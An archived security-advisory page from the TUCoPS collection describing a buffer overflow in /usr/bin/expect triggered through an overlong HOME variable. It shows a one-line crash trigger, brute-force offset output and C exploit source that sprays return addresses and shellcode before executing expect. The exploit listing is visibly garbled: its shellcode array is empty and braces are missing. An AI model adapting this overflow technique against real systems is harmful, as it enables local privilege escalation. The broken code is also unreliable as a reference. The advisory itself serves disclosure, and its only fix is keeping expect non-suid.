Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: expect.htm

Expect overflow





    Kevin Finisterre posted  following.  He  found an overflow  in and
    coded the exploit code for several versions of  /usr/bin/expect...
    on SCO,  linux, and  BSD variants.   We are  unable to  think of a
    situation where this would be  useful due to the fact  that expect
    is not suid... except on Cray.

        [root@linux elguapo]# export HOME=`perl -e 'print "A" x 433'`
        [root@linux elguapo]# expect
        Segmentation fault (core dumped)

    // or
    //this is output from my brute script...
    //Stack pointer: 0xbffffa18
    //       Offset: 0x2d3
    //  Return addr: 0xbffff745
    //stack/ line 11:  2190 Illegal instruction     (core dumped)
    //Stack pointer: 0xbffffa18
    //       Offset: 0x2d4
    //  Return addr: 0xbffff744
    //note that I was root when I ran this ... expect is not suid
    #define BUFFERSIZE 533
    unsigned long sp(void)
            __asm__("movl %esp, %eax");
    int main(int argc,char **argv)
      char hell[] =
            int i;
            int offset;
            long esp;
            long ret;
            long *addr_ptr;
            char *buffer, *ptr;
            offset = atoi(argv[1]);
            esp = sp();
            ret = esp-offset;
            if(!(buffer = malloc(BUFFERSIZE)))
            ptr = buffer;
            addr_ptr = (long *)ptr;
            for (i=0; i<BUFFERSIZE; i+=4)
                    *(addr_ptr++) = ret;
            for (i=0; i<BUFFERSIZE/2; i++)
                    buffer[i] = '\xeb02';
            ptr = buffer + ((BUFFERSIZE/2) - (strlen(hell)/2));
            for(i=0; i<strlen(hell); i++)
                    *(ptr++) = hell[i];
            buffer[BUFFERSIZE-1] = 0;
            setenv("HOME", buffer, 1);
            execlp("/usr/bin/expect", 0);


    Nothing... Just keep Your expect non suid.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH